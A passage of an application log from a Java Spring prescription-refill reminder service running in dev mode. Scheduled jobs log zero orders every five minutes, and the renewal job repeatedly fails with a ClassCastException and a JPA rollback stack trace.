org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 00:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 00:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 00:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 00:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 00:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 00:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 00:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 00:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 00:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 00:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 00:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 00:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 00:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 00:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 00:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 00:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 00:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 00:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 00:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 00:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 00:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 00:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 00:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 00:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 00:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 00:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 00:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 00:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 00:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 00:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 00:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 00:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 00:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 00:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 00:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 00:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 00:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 00:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 00:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 00:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 00:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 00:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 00:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 00:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 00:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 00:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 00:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 00:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 00:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 00:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 00:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 00:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 00:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 01:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 01:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 01:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 01:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 01:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 01:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 01:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 01:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 01:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 01:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 01:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 01:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 01:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 01:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 01:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 01:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 01:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 01:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 01:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 01:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 01:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 01:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 01:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send 